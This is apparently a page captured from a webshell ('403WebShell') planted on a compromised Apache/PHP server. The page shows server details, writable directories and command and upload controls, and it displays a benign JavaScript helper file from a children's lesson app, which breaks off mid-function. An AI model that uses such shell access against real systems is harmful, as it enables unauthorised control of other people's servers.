????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.138.154.250
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/apps/school/www_old2/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/apps/school/www_old2/js/shared_funtions.js
/**
 * Created by macmini3 on 2/19/14.
 */

function shared_setHeaderTable(idDivTable, title, subTitle, isBtnHomeRequired, isBtnPlayAgainRequired)
{
    var table = "";
    
    var deviceType = shared_getDeviceType();
    var footerStyle = (deviceType == shared_DeviceTypeAndroid) ? 'shared_style_buttonsFooterForAndroid' : 'shared_style_buttonsFooter';
    
    table += ' <table id="shared_style_tblMainiPadHeader">';
    table += ' <tr>';
    
    table += ' <td width="80" style="padding-left: 5px">';
    
    if (isBtnHomeRequired)
    {
        table += ' <input type="button" class="' + footerStyle + '" value="Home" onClick="btnHome_click()" style="width: 100px;">';
    }
    
    table += ' </td>';
    
    table += ' <td width="*" align="center">';
    
    table += ' <table id="shared_style_tblMainiPadHeader" height="100%" cellspacing="0" cellpadding="0">';
    
    table += ' <tr height="*">';
    table += ' <td width="100%" align="center">' + title + '</td>';
    table += ' </tr>';
    
    if (subTitle !== '')
    {
        table += ' <tr height="40%">';
        table += ' <td width="100%" align="center" style="font-size:18px">' + subTitle + '</td>';
        table += ' </tr>';
    }
    
    table += ' </table>';
    
    table += ' </td>';
    
    table += ' <td width="80" align="right" style="padding-right: 5px">';
    if (isBtnPlayAgainRequired)
    {
        table += ' <input type="button" class="' + footerStyle + '" value="Play Again" onClick="shared_btnPlayAgain_click()" style="width: 140px;">';
    }
    
    table += ' </td>';
    
    table += ' </tr>';
    table += ' </table>';
    
    document.getElementById(idDivTable).innerHTML = table;
}

function shared_setFooterTableEmpty(idDivTable)
{
    var table = '';
    var disabledText = '';
    
    table += ' <table id="shared_style_tblMainiPadFooter" border="1">';
    table += ' <tr>';
    
    table += ' <td>&nbsp;</td>';
    
    table += ' </tr>';
    table += ' </table>';
    
    document.getElementById(idDivTable).innerHTML = table;
}

function shared_setFooterTable(idDivTable, isbtnFirstRequired, isBtnPreviousRequired, isBtnValidateRequired, isBtnNextRequired, isbtnLastRequired)
{
    var table = '';
    var disabledText = '';
    
    var deviceType = shared_getDeviceType();
    var footerStyle = (deviceType == shared_DeviceTypeAndroid) ? 'shared_style_buttonsFooterForAndroid' : 'shared_style_buttonsFooter';
    
    table += ' <table id="shared_style_tblMainiPadFooter" border="1">';
    table += ' <tr>';
    
    table += ' <td width="15%" style="text-align: left">';
    disabledText = isbtnFirstRequired ? '' : 'disabled';
    table += ' <input type="button" class="' + footerStyle + '" value="<<" onClick="shared_btnFirstLesson_click()" style="width: 100px;" ' + disabledText + '>';    
    table += ' </td>';
    
    table += ' <td width="15%" align="right">';
    disabledText = isBtnPreviousRequired ? '' : 'disabled';
    table += ' <input type="button" class="' + footerStyle + '" value="<" onClick="btnPrevious_click()" ' + disabledText + '>';
    table += ' </td>';
    
    table += ' <td width="*" align="center">';
    if (isBtnValidateRequired)
    {
        disabledText = isBtnValidateRequired ? '' : 'disabled';
        table += ' <input type="button" class="' + footerStyle + '" value="Validate" onClick="btnValidate_click()" style="width: 150px;" ' + disabledText + '>';
    }
    table += ' </td>';
    
    table += ' <td width="15%" align="left">';
    disabledText = isBtnNextRequired ? '' : 'disabled';
    table += ' <input type="button" class="' + footerStyle + '" value=">" onClick="btnNext_click()" ' + disabledText + '>';
    table += ' </td>';
    
    table += ' <td width="15%" style="text-align: left">';
    disabledText = isbtnLastRequired ? '' : 'disabled';
    table += ' <input type="button" class="' + footerStyle + '" value=">>" onClick="shared_btnLastLesson_click()" style="width: 100px;" ' + disabledText + '>';
    table += ' </td>';
    
    table += ' </tr>';
    table += ' </table>';
    
    document.getElementById(idDivTable).innerHTML = table;
}

function shared_btnHomeLevels_click()
{
    window.location = '../../levels.html';
}

function shared_btnHomeCategories_click(levelNameWithoutSpace)
{
    window.location = '../' + levelNameWithoutSpace + 'Categories.html';
}

function shared_btnFirstLesson_click()
{
    //var currentLevel = localStorage.getItem('currentLevel');
    //var currentCategory = localStorage.getItem('currentCategory');
    //window.location = currentLevel + currentCategory + 'Lesson1.html';
    
    window.location = shared_currentLevel + shared_currentCategory + 'Lesson1.html';
}

function shared_btnLastLesson_click()
{
    /*var currentLevel = localStorage.getItem('currentLevel');
    var currentCategory = localStorage.getItem('currentCategory');
    var currentCategoryLastLesson = localStorage.getItem('currentCategoryLastLesson');
    
    window.location = currentLevel + currentCategory + currentCategoryLastLesson;*/
    
    window.location = shared_currentLevel + shared_currentCategory + shared_currentCategoryLastLesson;
}

function shared_btnPlayAgain_click()
{
    window.location.reload();
}

function shared_getPageParametersArray()
{
    var urlEncoded = document.URL;
    
    var urlDecoded = decodeURI(urlEncoded);
    
    var indexOfQuestionMark = urlDecoded.indexOf("?");
    var parametersAll = urlDecoded.substring(indexOfQuestionMark + 1);
    var parametersArray = parametersAll.split("&");
    
    return (parametersArray);
}

function shared_setTextAndBackgroundColorToGreen(id_text, id_box_destination, text_prefix, text_suffix)
{
    var elementText = document.getElementById(id_text);
    
    var text = elementText.innerText.trim();
    
    var elementBox = document.getElementById(id_box_destination);
    
    var innerHtml = '<u>' + text_prefix + text + '</u>' + text_suffix;
    
    elementBox.innerHTML = innerHtml;
    
    elementBox.style.backgroundColor = shared_colorGreen;
    
    elementBox.style.color = shared_colorRed;
    
    elementText.hidden = true;
}

function shared_setTextAndBackgroundColorToGreenByTrimmingText(id_text, id_box_destination)
{
    var elementText = document.getElementById(id_text);
    
    var text = elementText.innerText.trim();
    
    var elementBox = document.getElementById(id_box_destination);
    
    var innerHtml = '<u>' + text + '</u>';
    
    elementBox.innerHTML = innerHtml;
    
    elementBox.style.backgroundColor = shared_colorGreen;
    
    elementBox.style.color = shared_colorRed;
    
    elementText.hidden = true;
}

function shared_setTextAndBackgroundColorByTrimmingText(id_text, id_box_destination)
{
    var elementText = document.getElementById(id_text);
    var text = elementText.innerText.trim();
    
    var splitText = text.toLowerCase().split(' ');
    
    var elementBox = document.getElementById(id_box_destination);
    elementBox.innerHTML = text;
    elementBox.style.backgroundColor = splitText[0];
    elementBox.style.color = ((splitText[0] == 'white') || (splitText[0] == 'yellow')) ? 'black' : 'white';
    elementBox.style.border = (splitText[0] == 'white') ? 'thin solid black' : 'white';
    elementText.hidden = true;
}

function shared_dragDropImage(id_draggable_image, id_box_destination, id_img_source)
{
    var elementDraggableImage = document.getElementById(id_draggable_image);
    var elementBox = document.getElementById(id_box_destination);
    var elementImageSource = document.getElementById(id_img_source);
    
    var insertImage = '<img src="' + elementImageSource.src + '" width="' + elementImageSource.width + '" height="' + elementImageSource.height + '"/>';
    
    elementBox.innerHTML = insertImage;
    elementBox.style.backgroundColor = shared_colorGreen;
    
    elementDraggableImage.hidden = true;
}

function shared_hideClapsImage()
{
    var imageDivEelement = document.getElementById('shared_id_div_claps_image');
    imageDivEelement.hidden = true;
    
    shared_stopSoundClaps();
}

function shared_playSoundClaps()
{
    var pInnerHtml = "";
    
    pInnerHtml += ' <audio id="id_claps_sound" autoplay="autoplay" loop="loop" controls="controls" style="position: absolute; visibility: hidden">';
    pInnerHtml += ' <source src="../../../res/sounds/claps-sound.mp3" type="audio/mpeg">';
    pInnerHtml += ' </audio>';
    
    document.getElementById('id_playAudio').innerHTML = pInnerHtml;
}

function shared_stopSoundClaps()
{
    var eSound = document.getElementById('id_claps_sound')
    
    if (eSound != null)
    {
        eSound.pause();
        eSound.currentTime = 0;
    }
}

function shared_is_all_infos_moved_show_claps_animation(allElementIdsArray, idDiv)
{
    if (shared_isAllInfosMoved(allElementIdsArray))
    {
        shared_show_claps_animation(idDiv);
    }
}

function shared_is_all_infos_moved_show_claps_animationWithIsMoved(allElementIdsArray, idDiv)
{
    if (shared_isAllInfosMovedAndHidden(allElementIdsArray))
    {
        shared_show_claps_animation(idDiv);
    }
}

function shared_isAllInfosMoved(allElementIdsArray)
{
    for (index=0; index<allElementIdsArray.length; index++)
    {
        var element = document.getElementById(allElementIdsArray[index]);
        
        if (element.hidden == false)
        {
            return (false);
        }
    }
    
    return (true);
}

function shared_isAllInfosMovedAndHidden(allElementIdsArray)
{
    for (index=0; index<allElementIdsArray.length; index++)
    {
        var eElement = document.getElementById(allElementIdsArray[index]);
        
        if (eElement.isMoved == false)
        {
            return (false);
        }
    }
    
    return (true);
}

//To rectify a problem in Android device.
function shared_show_claps_animation_for_initial(id_div_claps_animation)
{
    var innerHtml = '';
    
    innerHtml += ' <div id="id_div">';
    
    innerHtml += ' <table width=' + id_tblMainiPadBody.style.width + ' height=' + id_tblMainiPadBody.style.height + ' border="1" cellspacing="0" cellpadding="0" >';
    innerHtml += ' <tr>';
    innerHtml += ' <td align="center">';
    
    innerHtml += ' <input type="image" id="id_image" src="img/claps.gif" width="400" height="400" onclick="shared_hideClapsImage()" alt="Claps">';
    
    innerHtml += ' </td>';
    innerHtml += ' </tr>';
    innerHtml += ' </table>';
    
    innerHtml += ' </div>';
    
    var eDiv = document.getElementById(id_div_claps_animation);
    eDiv.innerHTML = innerHtml;
    //eDiv.hidden = true;
    //eDiv.style.visibility = "hidden";
    
    eDiv.hidden = false;
    eDiv.style.visibility = "visible";
    
    var eDiv = document.getElementById('id_image');
    eDiv.className = 'shared_style_animation_show_success';//for scaling
}

function shared_show_claps_animation(id_div_claps_animation)
{
    var innerHtml = '';

    innerHtml += ' <div id="id_div">';

    innerHtml += ' <table width=' + id_tblMainiPadBody.style.width + ' height=' + id_tblMainiPadBody.style.height + ' border="1" cellspacing="0" cellpadding="0" >';
    innerHtml += ' <tr>';
    innerHtml += ' <td align="center">';

    innerHtml += ' <input type="image" id="id_image" src="../../../img/claps.gif" width="400" height="400" onclick="shared_hideClapsImage()" alt="Claps">';

    innerHtml += ' </td>';
    innerHtml += ' </tr>';
    innerHtml += ' </table>';

    innerHtml += ' </div>';

    innerHtml += ' <span id="id_playAudio"></span>';
    
    var eDiv = document.getElementById(id_div_claps_animation);
    eDiv.innerHTML = innerHtml;
    eDiv.hidden = false;
    eDiv.style.visibility = "visible";
    
    var eDiv = document.getElementById('id_image');
    eDiv.className = 'shared_style_animation_show_success';//for scaling
    
    shared_playSoundClaps();
}

/*function shared_show_claps_animation(id_div_claps_animation)
{
    var innerHtml = '';
    innerHtml += ' <table width=' + id_tblMainiPadBody.style.width + ' height=' + id_tblMainiPadBody.style.height + ' style="position: absolute; ">';
    innerHtml += ' <tr>';
    innerHtml += ' <td align="center">';
    
    //innerHtml += ' <div id="id_div">';
    
    innerHtml += ' <input type="image" id="id_image" src="../../../img/claps.gif" width="400" height="400" onclick="shared_hideClapsImage()" alt="Claps">';
    
    //innerHtml += ' <img id="id_image" src="../../../img/claps.gif" width="400" height="400" onclick="shared_hideClapsImage()" alt="Claps">';
    
    //innerHtml += ' <canvas id="id_canvas_claps_image" width="400" height="400" onclick="shared_hideClapsImage()"></canvas>';
    
    //innerHtml += ' </div>';
    
    innerHtml += ' </td>';
    innerHtml += ' </tr>';
    innerHtml += ' </table>';
    
    innerHtml += ' <span id="id_playAudio"></span>';
    
    var eDiv = document.getElementById(id_div_claps_animation);
    eDiv.innerHTML = innerHtml;
    eDiv.hidden = false;
    eDiv.style.visibility = "visible";
    
    //shared_clapsImage.src = "../../../img/claps.gif";
    //setInterval(draw_claps_image_to_canvas, 10);//just delay 10 secs
    
    var eDiv = document.getElementById('id_image');
    eDiv.className = 'shared_style_animation_show_success';//for scaling
    
    shared_playSoundClaps();
}*/

/*function shared_show_claps_animation(idDiv_claps_animation)
{
    var innerHtml = '';
    innerHtml += ' <table width=' + id_tblMainiPadBody.style.width + ' height=' + id_tblMainiPadBody.style.height + ' style="position: absolute; ">';
    innerHtml += ' <tr>';
    innerHtml += ' <td align="center">';
    
    //innerHtml += ' <div id="id_div">';
    
    innerHtml += ' <img id="id_image" src="../../../img/claps.gif" width="400" height="400" onclick="shared_hideClapsImage()">';
    //innerHtml += ' <canvas id="id_canvas_claps_image" width="400" height="400" onclick="shared_hideClapsImage()"></canvas>';
    
    //innerHtml += ' </div>';
    
    innerHtml += ' </td>';
    innerHtml += ' </tr>';
    innerHtml += ' </table>';
    
    //innerHtml += ' <span id="id_playAudio"></span>';
    
    var eDiv = document.getElementById(idDiv_claps_animation);
    eDiv.hidden = false;
    eDiv.innerHTML = innerHtml;
    eDiv.style.visibility = "visible";
    
    //shared_clapsImage.src = "../../../img/claps.gif";
    //setInterval(draw_claps_image_to_canvas, 10);//just delay 10 secs
    
    var eDiv = document.getElementById('id_image');
    //eDiv.className = 'shared_style_animation_show_success';
    
    //shared_playSoundClaps();
}*/

/*function shared_show_claps_animation(idDiv)
{
    var innerHtml = '';
    innerHtml += ' <table width=' + id_tblMainiPadBody.style.width + ' height=' + id_tblMainiPadBody.style.height + ' style="position: absolute; ">';
    innerHtml += ' <tr>';
    innerHtml += ' <td align="center">';
    
    innerHtml += ' <div id="id_div">';
    
    innerHtml += ' <img  src="../../../img/LevelA/Category2/LevelACat2Lesson10/imgHen2.gif" width="100" height="100" onclick="shared_hideClapsImage()">';
    
    //innerHtml += ' <img  src="../../../img/claps.gif" width="400" height="400" onclick="shared_hideClapsImage()">';
    //innerHtml += ' <canvas id="id_canvas_claps_image" width="400" height="400" onclick="shared_hideClapsImage()"></canvas>';
    
    
    innerHtml += ' <span id="id_playAudio"></span>';
    innerHtml += ' </div>';
    
    innerHtml += ' </td>';
    innerHtml += ' </tr>';
    innerHtml += ' </table>';
    
    var eDiv = document.getElementById(idDiv);
    eDiv.hidden = false;
    eDiv.innerHTML = innerHtml;
    eDiv.style.visibility = "visible";
    
    //set_claps_image_to_canvas();
    
    var eDiv = document.getElementById('id_div');
    eDiv.className = 'shared_style_animation_show_success';
    
    shared_playSoundClaps();
}*/

/*var shared_clapsImage = new Image();

function set_claps_image_to_canvas()
{
    shared_clapsImage.src = "../../../img/claps.gif";
    
    setInterval(draw_claps_image_to_canvas, 10);//just delay 10 secs
}

function draw_claps_image_to_canvas()
{
    var context = document.getElementById('id_canvas_claps_image').getContext('2d');
    context.globalCompositeOperation = 'destination-over';
    context.save();
    context.clearRect(0, 0, 400, 400);
    context.drawImage(shared_clapsImage, 0, 0);
    context.restore();
}*/

function shared_show_message_info(title, message, messageOption)
{
    var deviceType = shared_getDeviceType();
    var footerStyle = (deviceType == shared_DeviceTypeAndroid) ? 'shared_style_buttonsFooterForAndroid' : 'shared_style_buttonsFooter';
    
    var innerHtml = '';
    innerHtml += ' <div style="position: absolute; text-align:center;z-index: 99;">';
    
    innerHtml += ' <table border="0" cellspacing="0" cellpadding="0" width=' + id_tblMainiPadBody.style.width + ' height=' + id_tblMainiPadBody.style.height + ' style="position: absolute;">';//table1
    innerHtml += ' <tr>';
    innerHtml += ' <td align="center" style="border:none;">';
    
    innerHtml += ' <table width="320" height="220" border="0" cellspacing="0" cellpadding="0">';//table2
    innerHtml += ' <tr>';
    innerHtml += ' <td id="shared_style_messagebox_background" align="center">';
    
    innerHtml += ' <table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border:none">';//table3
    
    innerHtml += ' <tr height="20%">';//tr1
    innerHtml += ' <td align="center" style="border:none">';
    innerHtml += ' <span>' + title + '</span>';
    innerHtml += ' </td">';
    innerHtml += ' </tr>';
    
    innerHtml += ' <tr height="*">';//tr2
    innerHtml += ' <td align="center" style="border-left:none;border-right:none;">';
    
    innerHtml += ' <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="5" style="border:none">';//table5
    
    innerHtml += ' <tr>';
    innerHtml += ' <td align="center" style="border:none; font-size:20px">';
    innerHtml += ' <p>' + message + '</p>';
    innerHtml += ' </td>';
    innerHtml += ' </tr>';
    
    innerHtml += ' </table>';//table5
    
    innerHtml += ' </td>';
    innerHtml += ' </tr>';
    
    innerHtml += ' <tr height="20%">';//tr3
    
    if (deviceType == shared_DeviceTypeAndroid)
    {
        innerHtml += ' <td align="center" style="border-bottom:none;border-left:none;border-right:none; padding:5px">';
    }
    else
    {
        innerHtml += ' <td align="center" style="border:none; padding:5px">';
    }
    
    innerHtml += ' <table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border:none">';//table6
    innerHtml += ' <tr>';
    
    innerHtml += ' <td align="center" style="border:none;">';
    innerHtml += ' <input type="button" class="' + footerStyle + '" value="OK" onClick="hide_message_info()" style="width: 100px;color:blue">';
    innerHtml += ' </td>';
    
    if (messageOption == MessageOption.OKCancel)
    {
        innerHtml += ' <td align="center" style="border:none;">';
        innerHtml += ' <input type="button" class="' + footerStyle + '" value="Cancel" onClick="cancel_message_info()" style="width: 100px;">';
        innerHtml += ' </td>';
    }
    
    innerHtml += ' </tr>';
    innerHtml += ' </table>';//table6*/
    
    innerHtml += ' </td>';
    innerHtml += ' </tr>';
    innerHtml += ' </table>';//table3
    
    innerHtml += ' </td>';
    innerHtml += ' </tr>';
    innerHtml += ' </table>';//table2
    
    innerHtml += ' </td>';
    innerHtml += ' </tr>';
    innerHtml += ' </table>';//table1
    
    innerHtml += ' </div>';
    
    var eDiv = document.getElementById('shared_id_div_message');
    eDiv.innerHTML = innerHtml;
}

function hide_message_info()
{
    var eDiv = document.getElementById('shared_id_div_message');
    eDiv.hidden = true;
}

function cancel_message_info()
{
    hide_message_info();
}

function shared_setEmptyDropBoxForImageInfo(ids_array_boxes)
{
    for (var idIndex = 0; idIndex < ids_array_boxes.length; idIndex++)
    {
        var eTdBox = document.getElementById(ids_array_boxes[idIndex]);
        
        eTdBox.style.backgroundColor = '#FFDB99';//Light orange
        eTdBox.style.font = '24px solid';
        //eTdBox.style.color = 'BlueViolet';
        eTdBox.style.color = 'white';
        eTdBox.style.fontFamily = 'Arial Rounded MT Bold';
        eTdBox.style.textAlign = 'center';
        eTdBox.style.verticalAlign = 'middle';
        eTdBox.style.paddingTop = '5px';
        eTdBox.innerHTML = 'Drag here';
    }
}

function shared_setImageSource(id_image, imagesPath, imageName)
{
    var eImage = document.getElementById(id_image);
    eImage.src = imagesPath + imageName;
}

function shared_createProjectPaths()
{
    /*shared_path_projectFiles = '' + document.location;
    shared_path_projectFiles = shared_path_projectFiles.replace('file://', '');
    shared_path_projectFiles = shared_removeEndPathOrFile(shared_path_projectFiles);
    shared_path_projectFiles = shared_removeEndPathOrFile(shared_path_projectFiles);
    shared_path_projectFiles = shared_removeEndPathOrFile(shared_path_projectFiles);
    shared_path_projectFiles = shared_removeEndPathOrFile(shared_path_projectFiles);
    
    shared_path_projectFiles += '/Library/Caches/ProjectFiles/';*/
    
    /*alert('0');
    
    var myObject, newfolder;
    myObject = new ActiveXObject("Scripting.FileSystemObject");
    newfolder = myObject.CreateFolder ("~/Users/macmini3/Desktop/HtmlPath");
    
    alert('1');*/
    
}

function shared_downloadProjectFiles()
{
    
}

function shared_removeEndPathOrFile(path)
{
    return (path.substring(0, path.lastIndexOf('/')));
}

function shared_getSubTitle(level, catNo, lessonNo)
{
    var totalLessons = shared_get_totalLessons(level, catNo);
    
    if (shared_isDebug)
    {
        return ("Level " + level.name + " [Debug - Cat " + catNo.name + " : Lesson " + lessonNo + "/" + totalLessons + "]");
    }
    else
    {
        return ("Level " + level.name + " [" + catNo.name + " - " + lessonNo + " of " + totalLessons + "]");
    }
}

function shared_hideAllExceptFirstElement(id_prefix, nIds_total)
{
    for (var id_no = 1; id_no <= nIds_total; id_no++)
    {
        var idOfElement = id_prefix + id_no;
        var eElement = document.getElementById(idOfElement);
        
        eElement.isMoved = false;
        eElement.hidden  = (id_no == 1) ? false : true;
    }
}

function shared_unHideNextElement(id_prefix, nIds_total)
{
    for (var id_no = 1; id_no <= nIds_total; id_no++)
    {
        var idOfElement = id_prefix + id_no;
        var eElement = document.getElementById(idOfElement);
        
        if (eElement.isMoved == false)
        {
            eElement.isMoved = true;
            
            var nextId = id_no + 1;
            
            if(nextId <= nIds_total)
            {
                idOfElement = id_prefix + nextId;
                var eNextElement = document.getElementById(idOfElement);
                
                eNextElement.hidden = false;
            }
            
            return;
        }
    }
}

function shared_hide_canvas_circle_makeBackgroundWhite(id_canvas)
{
    var eCanvas = document.getElementById(id_canvas);
    
    if (eCanvas.style.display == 'block') eCanvas.style.display = 'none';

    if (eCanvas.parentElement.parentElement.style.backgroundColor != 'white')
    {
        eCanvas.parentElement.parentElement.style.backgroundColor = 'white';
    }
}

function shared_hide_canvas_circle(id_canvas)
{
    var eCanvas = document.getElementById(id_canvas);
    
    if (eCanvas.style.display == 'block') eCanvas.style.display = 'none';
}

function shared_svg_setEllipseLightGreenTransparentIfisValidatedIsFalse(eEllipse)
{
    if (eEllipse.isValidated == false)
    {
        eEllipse.style.fill = 'rgba(0, 250, 0, 0.4)';//LightGreen
    }
}

function shared_svg_setEllipseFillRedTransparentIfisValidatedIsFalse(eEllipse)
{
    if (eEllipse.isValidated == false)
    {
        eEllipse.style.fill = 'rgba(250, 0, 0, 0.4)';//LightRed
    }
}

function shared_svg_setEllipseFillBlackTransparentIfisValidatedIsFalse(eEllipse)
{
    if (eEllipse.isValidated == false)
    {
        eEllipse.style.fill = 'rgba(0, 0, 0, 0.4)';//LightBlack
    }
}

function shared_svg_setEllipseBorderRedIfisValidatedIsFalse(eEllipse)
{
    if (eEllipse.isValidated == false)
    {
        eEllipse.style.stroke = 'rgba(255, 0, 0, 0)';//Red
    }
}

function shared_svg_setEllipseBorderBlackIfisValidatedIsFalse(eEllipse)
{
    if (eEllipse.isValidated == false)
    {
        eEllipse.style.stroke = 'rgba(0, 0, 0, 0)';//Black
    }
}

function shared_svg_setSvgWidthHeightAndPositionFromTd(id_td, id_eSvg)
{
    var eTd = document.getElementById(id_td);
    var eTdRectangle = eTd.getBoundingClientRect();
    
    var eSvg = document.getElementById(id_eSvg);
    eSvg.style.width = eTdRectangle.width + 'px';
    eSvg.style.height = eTdRectangle.height + 'px';
    eSvg.style.left = eTdRectangle.left + 'px';
    eSvg.style.top = eTdRectangle.top + 'px';
    
    eSvg.style.visibility = "visible";
    
    if (shared_isDebug)
    {
        eSvg.style.backgroundColor = 'rgba(0, 200, 0, 0.2)';
    }
}

/*function shared_svg_setEllipseStyle(id_ellipse, isFillRequired, fillColor, borderColor)
{
    var eEllipse = document.getElementById(id_ellipse);
    eEllipse.style.stroke = 'transparent';
    eEllipse.style.fill = isFillRequired ? CircleColorSvg : 'transparent';
    eEllipse.style.strokeWidth = '2px';
    
    if (isFillRequired)
    {
        if (fillColor == CircleColorSvg.Blue)
        {
            eEllipse.style.fill = 'transparent';
        }
    }
    else
    {
        
    }
    
    eEllipse.onclick = function(){ellipse_click(id_ellipse)};
    eEllipse.isValidated = false;
    eEllipse.circleColor = CircleColorSvg.None;
    
    if (shared_isDebug)
    {
        eEllipse.style.stroke = 'rgba(250, 0, 0, 0.5)';
    }
}*/

function shared_svg_setEllipseStyle(id_ellipse)
{
    var eEllipse = document.getElementById(id_ellipse);
    eEllipse.style.stroke = 'transparent';
    eEllipse.style.fill = 'transparent';
    eEllipse.style.strokeWidth = '2px';
    
    eEllipse.onclick = function(){ellipse_click(id_ellipse)};
    eEllipse.isValidated = false;
    eEllipse.circleColor = CircleColorSvg.None;
    
    if (shared_isDebug)
    {
       eEllipse.style.stroke = 'rgba(250, 0, 0, 0.5)';
    }
}

function shared_svg_clearMultiEllipsesUsingIdsArray(ellipseIdsArray)
{
    for (var indexEllipse = 0; indexEllipse < ellipseIdsArray.length; indexEllipse++)
    {
        var id_ellipse = ellipseIdsArray[indexEllipse];
        
        shared_svg_clearEllipse(id_ellipse);
    }
}

function shared_svg_clearEllipse(id_ellipse)
{
    var eEllipse = document.getElementById(id_ellipse);
    
    eEllipse.style.fill = 'transparent';
    eEllipse.style.stroke = 'transparent';
    eEllipse.circleColor = CircleColorSvg.None;
    
    eEllipse.isValidated = false;
}

function shared_svg_validateEllipsesForValidationReqd(ellipseIdsArrayValidationReqd, circleColor)
{
    var nCorrectEllipses = 0;
    
    for (var indexEllipse = 0; indexEllipse < ellipseIdsArrayValidationReqd.length; indexEllipse++)
    {
        var id_ellipse = ellipseIdsArrayValidationReqd[indexEllipse];
        
        var eEllipse = document.getElementById(id_ellipse);
        
        if (eEllipse.circleColor != CircleColorSvg.None)
        {
            if (eEllipse.circleColor == circleColor)
            {
                shared_svg_setEllipseLightGreenTransparentIfisValidatedIsFalse(eEllipse);
                
                nCorrectEllipses++;
            }
            else
            {
                shared_svg_setEllipseFillRedTransparentIfisValidatedIsFalse(eEllipse);
            }
        }
        
        eEllipse.isValidated = true;
    }
    
    return (nCorrectEllipses);
}

function shared_svg_validateEllipsesForValidationNotReqdForMulti(ellipseIdsArrayValidationNotReqd)
{
    for (var indexEllipse = 0; indexEllipse < ellipseIdsArrayValidationNotReqd.length; indexEllipse++)
    {
        var id_ellipse = ellipseIdsArrayValidationNotReqd[indexEllipse];
        
        shared_svg_validateEllipseForValidationNotReqdForSingle(id_ellipse);
    }
}

function shared_svg_validateEllipseForValidationNotReqdForSingle(id_ellipse)
{
    var eEllipse = document.getElementById(id_ellipse);
    
    if (eEllipse.circleColor != CircleColorSvg.None)
    {
        shared_svg_setEllipseFillRedTransparentIfisValidatedIsFalse(eEllipse);
    }
    
    eEllipse.isValidated = true;
}

function shared_svg_showHideEllipsesMultipleFor1Td(id_ellipse, allGroupsIdsArrayArray)
{
    var eEllipse = document.getElementById(id_ellipse);
    
    if (eEllipse.circleColor == CircleColorSvg.None)
    {
        for (var indexGroup = 0; indexGroup < allGroupsIdsArrayArray.length; indexGroup++)
        {
            var groupIdsArray = allGroupsIdsArrayArray[indexGroup];
            
            for (var indexEllipse = 0; indexEllipse < groupIdsArray.length; indexEllipse++)
            {
                var id_ellipse = groupIdsArray[indexEllipse];
                
                if (eEllipse.id == id_ellipse)
                {
                    for (var indexEllipseInner = 0; indexEllipseInner < groupIdsArray.length; indexEllipseInner++)
                    {
                        if (indexEllipse != indexEllipseInner)
                        {
                            shared_svg_clearEllipse(groupIdsArray[indexEllipseInner]);
                        }
                    }
                    
                    shared_svg_showEllipse(eEllipse);
                    
                    return;
                }
            }
        }
    }
    else
    {
        shared_svg_showEllipse(eEllipse);
    }
}

function shared_svg_showEllipse(eEllipse)
{
    eEllipse.style.stroke = 'blue';
    eEllipse.style.fill = 'Transparent';
    eEllipse.circleColor = CircleColorSvg.Blue;
    
    eEllipse.isValidated = false;
}

function shared_svg_validateEllipses(allEllipseIdsArray, correctEllipseIdsArray)
{
    var nCorrectEllipses = 0;
    
    for (var indexEllipse = 0; indexEllipse < allEllipseIdsArray.length; indexEllipse++)
    {
        var id_ellipse = allEllipseIdsArray[indexEllipse];
        
        var eEllipse = document.getElementById(id_ellipse);
        
        if (eEllipse.circleColor == CircleColorSvg.Blue)//Circled
        {
            if (correctEllipseIdsArray.indexOf(id_ellipse) != -1)
            {
                shared_svg_setEllipseLightGreenTransparentIfisValidatedIsFalse(eEllipse)
                
                nCorrectEllipses++;
            }
            else
            {
                shared_svg_setEllipseFillRedTransparentIfisValidatedIsFalse(eEllipse)
            }
        }
        
        eEllipse.isValidated = true;
    }
    
    return (nCorrectEllipses);
}

function shared_canvas_showHideCirclesOfCorrespondingGroup(idCanvas, allGroupsIdsArrayInArray)
{
    var eCanvas = document.getElementById(idCanvas);
    
    if (eCanvas.isCircled == false)
    {
        for (var indexGroup = 0; indexGroup < allGroupsIdsArrayInArray.length; indexGroup++)
        {
            var groupIdsArray = allGroupsIdsArrayInArray[indexGroup];
            
            for (var indexCanvas = 0; indexCanvas < groupIdsArray.length; indexCanvas++)
            {
                var id_canvas = groupIdsArray[indexCanvas];
                
                if (eCanvas.id == id_canvas)
                {
                    for (var indexCanvasInner = 0; indexCanvasInner < groupIdsArray.length; indexCanvasInner++)
                    {
                        if (indexCanvas != indexCanvasInner)
                        {
                            shared_canvas_clearCircle(groupIdsArray[indexCanvasInner]);
                        }
                    }
                    
                    shared_canvas_showCanvas(eCanvas);
                    
                    return;
                }
            }
        }
    }
    else
    {
        shared_canvas_clearCircle(idCanvas);
    }
}

function shared_canvas_showCircles(idCanvas, allGroupsIdsArrayInArray)
{
    var eCanvas = document.getElementById(idCanvas);
    
    if (eCanvas.isCircled == false)
    {
        for (var indexGroup = 0; indexGroup < allGroupsIdsArrayInArray.length; indexGroup++)
        {
            var groupIdsArray = allGroupsIdsArrayInArray[indexGroup];
            
            for (var indexCanvas = 0; indexCanvas < groupIdsArray.length; indexCanvas++)
            {
                var id_canvas = groupIdsArray[indexCanvas];
                
                if (eCanvas.id == id_canvas)
                {
                    shared_canvas_showCanvas(eCanvas);
                    
                    return;
                }
            }
        }
    }
    else
    {
        shared_canvas_clearCircle(idCanvas);
    }
}

function shared_canvas_clearCircle(idCanvas)
{
    var eCanvas = document.getElementById(idCanvas);
    
    var eCanvasContext = eCanvas.getContext('2d');
    
